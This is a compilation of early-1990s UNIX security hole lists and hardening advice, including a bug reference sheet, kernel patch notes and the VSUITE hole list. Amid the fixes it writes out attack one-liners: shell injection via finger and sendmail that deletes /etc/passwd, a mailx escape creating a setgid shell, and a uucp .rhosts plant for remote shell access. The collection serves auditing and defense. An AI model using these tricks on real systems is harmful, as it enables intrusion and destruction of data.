        me additions or corrections.

        This is a  "sanitized"  list,  also  generalized  from  HPUX  to
        generic UNIX.


        BASIC PRINCIPLES OF GOOD SECURITY:
        * Physical control of equipment.
        * Management committment to security.
        * Employee education on what is expected of them.
        * Administrative procedures designed to increase security.
        * Concealment alone is not security.
        * Better to know you are not secure, than falsely think you are.


        * HARDWARE:  Anyone  who can  connect  the root disc to  another
          system and mount it can break  security.  Anyone who can mount
          a  personal  volume on the local  system  can do the same.  If
          init state 1 starts any shells  without  going through  login,
          anyone who reboots the system can be super-user.

          Solution:  Physical   security,  no  removable   mass  storage
          volumes (or protected  mount(1)  command), and an init state 1
          which requires login.


        * FILE  SYSTEM:  Sloppy   ownerships/permissions  are  a  common
          problem, particularly on special files.

          Solutions:  Be  sure  the  filesystem  is  generally   secure.
          Special files like /dev/mem,  /dev/kmem,  and /dev/rhd  should
          not even be  readable  except  by  super-user.  Use a  default
          umask of 022 (see sh(1)) so new files are not writable  except
          by the owner.


        * ROOT DIRECTORY:  It must be 555  (unwritable),  owned by root.
          If  unprotected,  any user can move /etc and create  their own
          /etc/passwd file (and so on).

          Solution:  Protect root directory.

          Comment:  Pre-4.0  versions of  sdfinit(8)  (Series  500 only)
          left new volumes set to 777.  It's  necessary to do "ls -ld /"
          to check this.


        * PUBLIC DIRECTORIES:  In general, most of them must be owned by
          root, other, and set to be  unwritable.  In  particular  /etc,
          /usr,  /usr/lib,  and the  super-user's  login  directory  are
          sensitive due to system config and .profile files there.

          Solution:  Deny  write  access  to public  directories  except
          where the need exists (such as /tmp).


        * CONFIGURATION  FILES:  Certain files must be owned by root (or
          package owners, like news or lp) and unwritable by the public,
          including  /etc/inittab,  /etc/rc,  /etc/passwd,   /etc/group,
          /etc/profile, /usr/lib/crontab, and the super-user's .profile.

          Solution:  Deny access to  sensitive  files  except  where the
          need exists.


        * COMMAND PATHS:  Shell scripts, and programs which use exec(2),
          may be violated by Trojan horses when run by the super-user or
          other  users.  In  particular,  a  user  might  call a  setuid
          program with a bogus PATH variable exported.

          Solution:  All shell scripts and certain  programs  should set
          their own PATH before  running any  commands, or use  explicit
          (absolute)  paths,  and/or  require that they  themselves  are
          invoked using absolute paths (like /bin/su).


        * PRIVILEGED-USER  PATHS:  If the  super-user's  (or any user's)
          PATH  variable  includes  "." or a null  field  (for  "current
          directory"),  and the user changes to a non-secure  directory,
          he might unknowingly run a Trojan horse program named the same
          as  a  standard   command.  This   program   might   create  a
          setuid/setgid shell and then remove itself.

          Solutions:  Avoid "current directory" in $PATH.  Some commands
          should  require that they be in invoked with  absolute  paths.
          Keep the file system  sufficiently secure that  non-privileged
          users cannot plant Trojan horses in libraries or commands.

          Comment:  One  possibility  is to have  the  shell  check  the
          ownership of files before running them.  If a command is found
          in a  directory  in PATH which does not start with "/", and if
          it is not  owned by the user who is trying  to run it, give an
          error (forcing the user to type "./" to run it).


        * SETUID  (SUID)   COMMANDS:  Programs   owned  by  root  (or  a
          privileged group) and set to run as super-user (or other users
          or groups)  can lead to trouble by  allowing  shell  escape to
          privileged  shells,  appending  to  protected  files,  dumping
          writable, setuid core files, etc.  In particular,  mount(1) is
          dangerous  to set to 4555 if the system has a  removable  mass
          storage   device,  as  users  can  mount  volumes   containing
          super-user shells.

          Solution:  Minimize  use  of  setuid/setgid.  Deny  access  to
          setuid/setgid  programs  except  where the need exists and the
          program has been checked for holes.  Be sure all setuid/setgid
          commands  are  not  writable.  Be  able  to  account  for  all
          setuid/setgid  programs on the system  (and/or  check for them
          periodically).   Programs   must   do   setuid(getuid())   and
          setgid(getgid())  before doing a shell  escape.  Chown(2) must
          turn off set bits when ownership is changed.


        * SETUID (SUID)  SCRIPTS:  Files which begin with "#!  command",
          for direct  execution  of command  by  exec(2),  and which are
          setuid or  setgid,  may be  tricked  through  unforeseen  side
          effects of running "command".  For example, if the script is a
          readable  shell  script  ("#!  /bin/sh"),  it can be linked by
          anyone to a file named "-sh", or merely exec'd with an arg1 of
          "-sh".  The shell runs setuid, but the leading "-" in the name
          causes  it  to  read  /etc/profile,  and  (worse)  the  user's
          .profile,  when  starting up.  (On BSD4.2, if the name is "-",
          you get an interactive prompt.)

          Solutions:  Disallow   setuid/setgid   script   execution   by
          exec(2),   or   disallow   linking  to  such  files  (is  this
          sufficient?), or modify all potentially  scripted  commands to
          avoid this problem.  (Note:  Only  commands  which  understand
          "#"-style comments are even candidates for scripting.)


        * TERMINAL ACCESS:  An unattended,  logged-in terminal is asking
          for  trouble.  A terminal  whose  special  file is readable by
          other users is subject to having data stolen.

          Solutions:  Log out or lock (using internal  command  lock(1))
          any terminal not in use.  Do not make your terminal's  special
          file readable by the public.


        * "PARKED"  TROJAN HORSES:  In addition to libraries or commands
          left in a file  system  where a  privileged  user/group  might
          accidentally  use them, pirates can leave programs  running on
          "idle" terminals which simulate login, su, or other commands.

          Solution:  Don't  trust an idle  terminal.  Especially,  don't
          fall for an  obvious  swindle,  such as "Login  incorrect"  or
          "}ls:  not found" when you think you did not mistype.  Be sure
          the login command in particular is not  generally  executable,
          so login emulators must "fail login".


        * DIAL-IN ACCESS:  Dial-in lines are potential holes.

          Solutions:  Keep phone  numbers  as private as  possible.  Set
          getty  to hang up in a short  time.  Add  "external  security"
          passwords  to getty  (rewrite  it).  Limit  logins on external
          lines by using  /etc/securetty.  Use new  logging  features of
          login(1).


        * ALL USERS  HAVE  PASSWORDS:  Any user  without a  password  is
          subject to having another user login or su to their identity.

          Solution:  Insure   that  all  users  have   passwords,   even
          pseudo-users  like "who" and "sync", just in case su -c allows
          dangerous  actions.  If  necessary,  put  "*" in the  password
          field in  /etc/passwd  to make it impossible to login or su to
          that user.  Or, deny access to the su command.


        * ALL GROUPS ARE  SECURE:  The newgrp  command  allows  changing
          group  identity  in a manner  similar to su, except  that if a
          group has no  password,  only  users in the  group's  list can
          newgrp to it.

          Solution:  Insure  that all groups have  correct  user  lists,
          and/or all groups have dummy ("*") or real  passwords,  and/or
          disable  the newgrp  command.  (Putting a real  password  on a
          group  opens  it  up to  anyone,  which  can  actually  reduce
          security.)


        * GOOD PASSWORDS USED:  Bad passwords can lead to easy violation
          of security.

          Solutions:  Don't use  permutations  of username, nor people's
          real  names,  nor   easy-to-guess   personal  data.  Use  long
          passwords not in any dictionary; mix in uppercase, digits, and
          other   characters.  Don't   re-use   old   passwords.  Change
          passwords  periodically.  Educate  system users.  Also, do not
          disable  accounts after N bad login  attempts; this just makes
          it easier for pirates to lock out system administrators.

          Comments:  System V.2  passwd(1)  improves the  situation.  Do
          NOT use the password timeout facility (see passwd(1))  because
          (1) it leads to fast selection of bad passwords, (2) it leaves
          users  unable to change  again fast, (3) users still only need
          to have two  different  passwords,  and (4) pirates can easily
          find abandoned accounts.


        * HIDE  PASSWORDS:  Pirates are at an advantage if they can copy
          your  password   file  and  it  contains   valid   (encrypted)
          passwords.

          Solutions:  Make  it  impossible  to copy it with  uucp.  Keep
          real  passwords  in a  different  file  and put  fake  ones in
          /etc/passwd   (but  this  requires   changes  to  many  system
          libraries  and  commands, so probably  should not be attempted
          on-site; it should be standardized).


        * RSH:  Restricted shells are impossible to do completely right.

          Solution:  Use them as a deterrent  on accounts  where  needed
          but do not depend on them alone to guarantee security.


        * CHROOT:  The chroot(1)  command and chroot(2)  system call are
          normally  executable by super-user  only.  If an ordinary user
          could chroot to a  sub-file-system,  they could create a small
          directory  structure with a dummy  /etc/passwd, make a copy of
          /bin/su and /bin/sh therein, chroot, su, then make the copy of
          sh setuid to super-user for later use.

          Solution:  Restrict  access to the  chroot  command.  Make all
          setuid/setgid  programs,  such as su,  unreadable  (which does
          not, unfortunately, prevent linking to them).


        * CRONTAB:  The path to /usr/lib/crontab must be secure, and the
          file  itself,  plus  all  parts of the  paths to all  files it
          invokes,  including the files  themselves, plus all files they
          in turn invoke.  All such files  (scripts or programs) are run
          by cron as  super-user,  so they  must not be  replaceable  by
          Trojan horses.

          Solutions:  Check crontab very carefully on occasion.  Keep it
          unreadable  by  the  public.  Use  su -c  (and/or  newgrp)  in
          crontab before running  commands (e.g.  'exec su news -c "exec
          notedemon.day"'),    so   as   to   minimize   processes   run
          automatically as root, or do not run cron at all (unlikely).

          Comment:  A shell  script  (cronck)  exists  which  helps do a
          limited check on crontab.


        * AT(1)  COMMAND:  The at  command  is easy to violate  by doing
          chmod to  super-user  on a  spooled  shell  script.  The atrun
          demon then runs the script as its owner.

          Solution:  It's  possible  to  protect   /usr/spool/at  to  be
          unwritable, and setuid the at and atrun commands, but this may
          not be  sufficient.  Or, don't run atrun  from  crontab,  e.g.
          disable the at(1) facility.

          Comment:  System V.2 at(1) corrects this.


        * MAILERS:  Mailers,  and other  programs  which can save files,
          might  let  users  modify  /etc/passwd  by  appending  to  it,
          especially if they run setuid/setgid.  Also, some mailers have
          a bad habit of prepending a "From" line containing the name of
          the  process  owner,  who is an  innocent  bystander,  to mail
          passing  through the  system,  thus  revealing  the name of at
          least one user on the system.  Also, some  mailers use LOGNAME
          as the name of the sender.

          Solutions:  Such  programs  must not modify  non-owned  files.
          Avoid running such programs  setuid/setgid  if possible.  Keep
          sensitive files  protected.  Don't reveal random  usernames in
          mailer programs, and don't use LOGNAME.


        * CRYPT  COMMAND/LIBRARY:  The encryption used is not as hard to
          break as once thought (see the Bell System Technical  Journal,
          Volume 63, Number 8, Part 2).

          Solutions:  Do not leave any cleartext  around; it helps break
          the key if  found.  Don't  use same the key as your  password.
          Simple  double-crypting or pre-ORing with patterns don't help;
          packing or otherwise re-distributing the data does.


        * UUCP   CONFIGURATION:  Most  files  in   /usr/spool/uucp   are
          publicly  readable  by  default.  If uucp owns  certain  other
          files,  such as demons, and the uucp  password is well  known,
          users can use su -c to mess with the demons.  The COMMANDS and
          USERFILE  files must be properly  constructed.  The L.sys file
          contains  private  information  like  phone  numbers.  DIALLOG
          contains phone numbers.

          Solutions:  Hide  (protect)  /usr/spool/uucp  if necessary, to
          keep mail and other  transactions  secret and avoid changes to
          them.  Have all uucp logins be for users other than uucp (such
          as remote  system  names) so people  knowing  those  passwords
          can't dork with  uucp-owned  files, and keep the uucp password
          itself  a  secret.  Insure  that  COMMANDS  and  USERFILE  are
          protected  (including  the path to  them),  and that  they are
          conservative  (limit  access except as required).  Insure that
          L.sys is owned by uucp and not generally readable.  By default
          DIALLOG is protected; no action is necessary.


        * BTMP AND SULOG  FILES:  If these  files  exist,  login(1)  and
          su(1), respectively, use them to log failed login attempts and
          all su  attempts.  Only  usernames  are  logged  in btmp,  not
          passwords, but on occasion a user might type their password in
          to the login  prompt.  Also, sulog can help a pirate found out
          who system administrators are.

          Solution:  Be sure /usr/adm/btmp and  /usr/adm/sulog  are only
          readable/writable  by the super-user,  and the path to them is
          secure.  Long-term,  perhaps  login(1) and su(1)  should chmod
          the file if  necessary.  (Note that smart  pirates  will never
          use su themselves, anyway.)


        * DATA NOT  ENCRYPTED:  Sensitive  data  lives on a disc  shared
          with other files and other  people.  File system  problems can
          (in the worst case) make such data public.

          Solution:  Encrypt  sensitive  data,  or  keep  it on  private
          media.


        * USE QUOTED HERE  DOCUMENTS:  Unquoted  shell "here"  documents
          (see sh(1)) can cause  trouble.  For  example, if the line "rm
          -r  $x/dir"  appears,  but $x is not set until  the  script is
          executed, the file system could be injured.

          Solution:  Quote all here  documents,  especially  those which
          are  shell  scripts  or at(1)  input,  unless  there is a good
          reason not to so do.

================



***
***   Log start at 12:46pm on  4-11-93
***


Received: from DEATH.CERT.SEI.CMU.EDU by sparkyfs.erg.sri.com (5.64/2.6davy)
        id AA04197; Fri, 15 Feb 91 13:23:22 -0800
Received: from localhost by death.cert.sei.cmu.edu (5.65/2.3)
        id AA13566; Fri, 15 Feb 91 16:23:15 -0500
Message-Id: <9102152123.AA13566@death.cert.sei.cmu.edu>
To: davy@erg.sri.com
Subject: list
Date: Fri, 15 Feb 91 16:23:14 EST
From: Dan Farmer <df@cert.sei.cmu.edu>





Bug reference sheet
Comfirmations, additions, changes to: df@cert.sei.cmu.edu
Last change made: Dec 12, 1990


4.X BSD
Version      problem
---------------------
4.1          can mail directly to a file
             run set gid program, dump core, is set gid of owner
             lock -- compiled in password "hasta la vista", plus can ^Z

Pre 4.2?     IFS w. preserve bug in vi
             suspend mkdir, ln file you want to dir, you own file

4.2          lock -- compiled in password "hasta la vista"
             ln passwd file to mail spool, mail to user ==> file
             can truncate read only files
             finger "string | /bin/rm -f /etc/passwd"@foo.bar
             ln -s target ~/.plan; finger user to read any file.
             lpr file; rm file; ln -s /any/filename file ==> prints file
             adb su; change check in memory; shell out; su ==> root.
             race condition, can get root via "at"

4.3          ftp -n; quote user ftp; ect.  Gets root privs.
             lpd can overwrite file
             ln -s /any/suid/file -i ; -i       Get suid shell.
             fchown (2) can chown _any_ file
             race condition (expreserve?), can get root via "at"
             passwd chokes on long lines, splits pw file ==> root access

4.3 Tahoe    chfn -- allows newlines, meta chars, bufsize problem
             login ttyA&B; A:cat <ttyB;^Z;B:exit;login;A:&;B:pw/uid;A:got B pw.

?            Overwrite gets buffer -- fingerd, etc
             uudecode alias can overwrite root/daemon owned files
             /bin/mail ; !/bin/sh    Get uid=bin shell
             rwall bug.
             adb the running kernel, shell out and get root
             sendmail can mail to any non-root owned file, have to try twice
             rshd -- spoof via nameservice, rsh target -l uid

SunOS
Version      problem
---------------------
386i/4.01?   login -n root    requires no password

3.5          ftp -- connect w. acct; user root; ls; put /tmp/foo /tmp/bar;
                    result is owned by root

4.0 && 4.01  chsh -- similar to chfn

4.0x?        anyone can restore a file over any other file.
             chfn -- allows newlines, meta chars, bufsize problem.
             rcp with uid -2; only from PC/NFS.
             ln -s /any/suid/file -i ; -i       Get suid shell.
             Selection service can remotely grab files.

4.03         sendmail can mail to any non-root owned file, have to try twice
             login ttyA&B; A:cat <ttyB;^Z;B:exit;login;A:&;B:pw/uid;A:got B pw.

4.1          Shared libs accept relative paths when running suid (e.g. xterm.)
             rshd -- spoof via nameservice, rsh target -l uid

?            adb the running kernel, shell out and get root
             ftp -n; quote user ftp; ect.  Gets root privs.
             symlink .plan to target file, finger user to read.
             Overwrite gets buffer -- fingerd, etc.  (3.5)
             rwall bug (<= 4.01 yes).
             lpd can overwrite file
             the window manager can be used to read any file
             rexd -- any can get root access if enabled

4.03-        rcp buffer overflow

4.1-         comsat can overwrite any file
             ptrace allows to become root
             under openlook; telnet port 2000; executive,x3, run the ps interp.

Ultrix
Version      problem
---------------------
2.2          ln passwd file to mail spool, mail to user ==> file
             can get root on host running (some) NFS from a root account
                on a non-trusted host due to bug in mount daemon (DYNIX 3.? also)

3.0          lock -- compiled in password "hasta la vista"
             any user can mount any filesystem
             login can run any program with root privs
             X11 doesn't clear passwords in memory; /dev/mem is world readable.
             ln -s target ~/.plan; finger user to read any file.

3.1-         limit file 0; passwd  ==> zero's out passwd file
             lpd can overwrite any file (back to 2.0?)

4.1-         overflow Risc register buffer, get root through mail.

?            chfn -- allows newlines, meta chars, bufsize problem
             ftp -n; quote user ftp; ect.  Gets root privs.
             can change host name, mount any filesystem
             uudecode alias can overwrite root/daemon owned files
             3.1? rshd -- spoof via nameservice, rsh target -l uid

System V
Version      problem
---------------------
?            can set IFS, other environment at "login:" prompt
SVR4-        expreserve problem/race condition.
pre SVR4     write to files; race condition using mkdir & ln

SGI (Iris?), MIPS, Steller
---------------------------
Stellix 2.0  rsh <host> -l "" <command>   runs as root
RISC/os 4.51, DYNIX
Stellix 2.1  login: -r hostname
ruser^@luser^@term^@

HP-UX
Version      problem
--------------------
7.0-         chfn -- allows newlines, etc.  Different bug with 7.0.

Apollo
Version      problem
--------------------
10.x(max10.3)break root by using s/rbak; problem is in setgid/uid

Amdahl UTS
Version      problem
--------------------
2.0          NFS mountd only uses hostname as authentication; easy to spoof.

SCO
Version      problem
---------------------
?            can rlogin to any acct (root, etc.) to trusted host w/o password

Bell tech sys V/386
--------------------
Microport 3.0  ulimit 0; passwd  ==> zero's out passwd file

YP
---------------------
Pre 4.0      any user can run yp server

4.01/4.03    ypbind/ypserv, SunOS 4.01; need 3 machines

4.03         concurrent yppasswd sessions can trash yp passwd map
             ypserv will send maps to anyone who can guess the domainame

Ultrix3.1/?  allows newlines, meta chars, buffsize problem

?            yppasswd leaves yp data files world writable
             ypbind takes ypset from all; anyone can say they are yp DB server.

Sendmail
---------------------
4.1 BSD      can mail directly to a file

Sun 4.03,
<=5.61       can mail to any file not root owned, have to try twice

5.61, 4.1Sun,
lots others? groups incorrectly checked, can get any group

Ultrix 2.2,
DYNIX 3.0.14 -C file  ==> displays any file.

Ultrix 2.0?
HP_UX        versions 1.2&13.1 sm, -oQ  ==> can read/write any file

< 5.57       from:<"|/bin/rm /etc/passwd">  && bounce mail....

IRIX 3.3/3.31 any user can read any other user's mail.

?            wiz; shell   get root shell

X
---------------------
X11R?        snoop on keyboards and bitmaps.
X11R3-4      can set log on, execute commands (fixed in "fix-6")

UUCP
---------------------
Sun 4.03     uucico can show ph num, login, passwd, on remote machine.

TCP/IP
---------------------
icmperror    errors not handled correctly; log off users remotely.

Misc
---------------------
Gnuemacs     emacsclient/server allows access to files.
yogi 3 [13:42] ~> 
================
Subject: Summary of 4.2BSD kernel changes for improved security

in use at ucsc

in sys/init_sysent.c:
/* added system calls:
        chfile - insure that user's tty drops DTR lead when user logs out
                (requires change to /etc/init)
 */
kern_exec.c: (getxfile())
        /*
         * Restrict setuid-root to files on the root device.
         * Some bother for system administration, but it
         * greatly cuts down the territory to be searched for
         * spurious setuid-root programs.
         */
kern_prot.c: (setpgrp())
        This is now being tested.  It is to prevent a user being able to kill
                another user's background job.
        /* insure that the pgrp is not in use by somebody else */
kern_sig.c: (core())
        /* keep the core file private */
kern_xxx.c: added chfile() code
sys_inode.c: (rwip())
        /* turn off SUID & SGID bits when file is written, even for super
         * user, to strengthen security.
         */
sys_process.c (procxmt())
#ifdef  UCSC    /* security patch from denelcor */
        /* prevents user from running a setuid-root program under a debugger
         * and then modifying the code in the core image and resuming execution
         * of the modified code with original privileges.
         */
ufs_fio.c: (access())
        /* make group with gid zero have no privileges.  This is the default
         * login group for super users, and for files that we don't know in
         * what group they really belong.
         */
ufs_syscalls.c
copen():
        /*
         * Security patch to require special file inodes
         * to be on rootdev only.
         */
link():
#ifdef  UCSC    /* for security, no linking to files user can't read */
symlink():
#ifdef  UCSC    /* no symbolic links to things user can't read either */
chmod1():
        /*
         * Enforce special restrictions on sticky bit and setuid bit
         */
        /* warn the super user if he has inadvertently given somebody a
         * privileged file
         */
chown1():
        /* include the super user in the protection afforded
         * by turning off SUID/SGID bits */
ufs_fio.c: (own())
#ifdef  GRPMAST
        /* allow group manager access to non root-owned files */
        /* this is convenient for instructional class accounts.  The user
         * for whom uid == gid in the password file is the owner of the
         * class, and has all privileges over all files with that class
         * as group owner.
         */


actual patches available on request to ucbvax!ucscc!haynes

===========================================================================

   I'm starting a project to keep track of UNIX security holes and their
fixes.  Basically, this consists of writing a short monograph (they are
too short to be called "papers") on each security hole I find out about,
including an example of using it to break security, and including any fixes
that I can figure out (or get from others.)  I'm also trying to put in
something about who found each bug, or who reported it; I know these things
are usually found by multitudes of people acting independently, but I always
have been curious about where these things came from, so ...  In essence, I'm
trying to start up a reference file of security holes and fixes.
   I'd like to ask your help in getting this project moving.  If you know
of any interesting security holes, would you pass them along?  (Fixes too
would be appreciated.)  I have access to a 4.2 BSD system, so I can check out
holes in that version of UNIX.  I'm quite interested in holes in System V, too,
but I don't have access to a pure System V version of UNIX (just a System
V with Berkeley enhancements), so I'm not sure if I can actually test them.
On the other hand, they might suggest holes in 4.2 BSD, so send ANY UNIX
security holes you know of, too.
   Thanks to one and all for any help you can give ...

Peace,
    Matt Bishop

mab@riacs.ARPA                  arpanet
...!decvax!decwrl!riacs!mab     one uucp path
...!ihnp4!ames!riacs!mab        another uucp path

=================
VSUITE.LST
Hole List: first part from USAF UNIX security paper
           most from the VSUITE project

=========
 GENERAL
=========

1. Do not allow usernames to contain any of the following characters ";~!`"
   (or any shell meta-charaters).  This allows setuid root programs that
   popen to be spoofed.

2. Never allow a setuid to root program to send a mail message that the user
   creates to either the Berkeley mailer or mailx.  All a user has to do
   to break root is to send a line such as:

~!cp /bin/sh /tmp/sh; chmod 2555 /tmp/sh

   That is that Berkeley mail(1) and Berkeley mailx(1) BOTH allow this shell
   escape to be executed if the line starts in column one of stdout while
   entering the message text.

3. Most security holes in UNIX are related to incorrect setting of directory
   and file permissions or race conditions in the kernel that allow setuid
   programs to be exploited.  All non-standard setuid programs should be
   examined.

4. Many systems can be compromised with NFS/RPC.  A skilled RPC writer can
   break security relatively easily.  MIT's PROJECT ATHENA came up with
   Kerberos to address these problems, networks are usually very insecure.

5. The mount command should not be executeable by ordinary users.  A setuid
   program on a mountable disk is NOT TO BE TRUSTED.

6. Systems that allow read-only mounting of foriegn disk are a security
   hole.  Setuid programs are normally honored.  This allows a person who
   has root access on a foriegn machine to break it on another.

7. Expreserve can be a huge hole (see the following)

        /dev/fb
            the frame buffer devices on at least suns are world
            readable/writeable, which is at best annoying (when
            someone runs something strange on you) and at worst
            insecure (since someone can take a snapshot of your screen
            via screenload or whatnot)

        /dev/*st*, *mt*, etc (tape devices)
            generally world readable/writeable, bad since others can
            nuke your tapes, read your backups, etc.

        chfn, chsh
            used to create a root account
        
        core
            will system dump a setgid core image? 

        domain name system      
            a sysadmin running the soa for a domain somewhere can
            create a bugs reverse address mapping table for one of his
            hosts that causes its IP address to have the domain name
            of a machine that my host has in its hosts.equiv file.  if
            i'm using the usual version of 'istrusted' (I think that's
            the routine's name), the address lookup reveals the name
            of the host to be one that my host trusts, and this other
            sysadmin can rlogin into my machine or rsh or whatnot at
            will. 

        fchown
            test for bad group test 
        
        ftruncate
            can be used to change major/minor numbers on devices 

        fingerd
            hard .plan links - reading unreadable files readable by
            user(fingerd)

            setuid, .plan links
            
            running as root
                (fingerd_test.sh)

            buffer overrun 

        file mod test.
            test of file does not loose the setuid bit when modified
            

        ftp
        ftpd
            static passwd struct overwrite 
        
            4.2 based bug, userid not reset properly, (after logging
                in enter comment "user root" and you are, last seen
                onder SunOS 3.3?). 
        
            overwrite stack somehow?
        
        hosts.equiv     
            default + entry
        
            istrusted routine - easy to spoof by bad SOA at remote
            site with hacked reverse address map.
        
        lock
            4.1bsd version had the password "hasta la vista" as a
            builtin trapdoor. (found in ultrix)

        lost+found, fsck 
            lost+found should be mode 700, else others might see
            private files.
        
        lpd
            its possible to ovberwrite files with root authority with
            user level access locally or remotely if you have local
            root access 

        lpr
            lpr -r access testing problem

        lprm
            trusts utmp

        passwd
            fgets use allows long entries which will be mangled into
            ::0:0::: entries

            also allows:
                        fred:...:...:...:Fred ....Flintstone::/bin/sh =>
                        fred:...:...:...:Fred.....
                        Flintstone::/bin/sh
                    which is a root entry with no password!

            fix - should skip to eol if it didn't read whole entry,
            should enforce buffer limits on text in file, don't use
            atoi (since atoi(/bin/sh) is 0). 
        
        portmap
            allows other net entities to make bindings - may not be a
            "security hole", can lead to denial of service. 
        
        rcp
            nobody problem 

        rexd
            existence 
        
        rwall,comsat
            running as root, utmp world writeable, writes to files as
            well as devices in utmp dev fields. 


        rdist - buffer overflow 
        
        selection_svc 
            allowed remote access to files 

        sendmail
            debug option 

            wizard mode 

            TURN command 
                allows mail to be stolen

            decode mail alias - anyone can send mail to decode, write
            to any file onwed by daemon, if they can connect to
            sendmail daemon, can write to any file owned by any user.
            

            overflow input buffer 
                cause the sendmail deamon to lock up

            overwrite files 
                sendmail can be "tricked" into delivering mail
                into any file but those own my root.

            -oQ (different Q)
            fixed in newer versions
        
            mqueue must not be mode 777!
        
            what uid does |program run with?
        
            sendmail -bt -C/usr/spool/mail/user - in old versions,
            allows you to see all lines of the file.

        setuid bit handling
            setuid/setgid bit should be dropped if a file is modified

            fix: kernel changes

        setuid scripts
            there are several problems with setuid scripts.  is it
            worth writing tests for these?  some systems might have
            fixed some of the holes - does anyone know how one fixes
            these problems in a proactive fashion?

        sh
            IFS hole (used with vi, anything else?) 
        
        su
            overwrite stack somehow?
        
        tcp/ip          
            sequence number prediction makes host spoofing easier

            source routing make host spoofing easier

            rip allows one to capture traffic more easily

            various icmp attacks possible

            (I suspect a traceroute'd kernel will allow one to easily
            dump packets onto the ethernet)     

        tftp
            allows one to grab random files (eg, /etc/passwd).
            fix - should do a chroot
        
            allows puts as well as gets, no chroot
        
            fix - don't run as root, use chroot, no puts, only if boot
            server.

        utmp
            check to see if world writeable (if so, the data can't be
            trusted, although some programs are written as though they
            trust the data (comsat, rwalld)). 

        uucp
            check if valid uucp accounts are in the /etc/ftpusers.  If
            the shell is uucico and passwd is valid make sure it is
            listed in ftpusers. 

            check to see that uucp accounts have shell: if left off,
            folks can do:

                cat >x
                myhost myname
                ^D
                uucp x ~uucp/.rhosts
                rsh myhost -l uucp sh -i

            HDB nostrangers shell escape 

            HDB changing the owner of set uid/gid files 

            HDB meta escapes on the X command line 

            HDB ; breaks on the X line 

        uudecode
            if it is setuid, some versions will create setuid files
            

        ypbind
            accepts ypset from anyone (can create own ypserv and data,
            and ypset to it...) 
        
        ypserv spoofing
            send lots of bogus replies to a request for root's passwd
            entry, while doing something that would generate such a
            request [I'm pretty sure that this is possible, but
            haven't tried it.]
        
        AIX
            * password means use root's password?
        
        AIX 2.2.1 
            shadow password file (/etc/security/passwd) world
            writeable 

            fix - chmod 600...
        
        386i login
            fix - nuke logintool, hack on login with adb, chmod 2750
        
        ultrix 3.0 login
            login -P progname allows one to run random programs as root.  
            fix - chmod 2750.

        xhost: 
            if access access control is disabled any one can connect to
            a X display it is possible and create (forge) and/or
            intercept keystrokes.  


========EOF==========

# 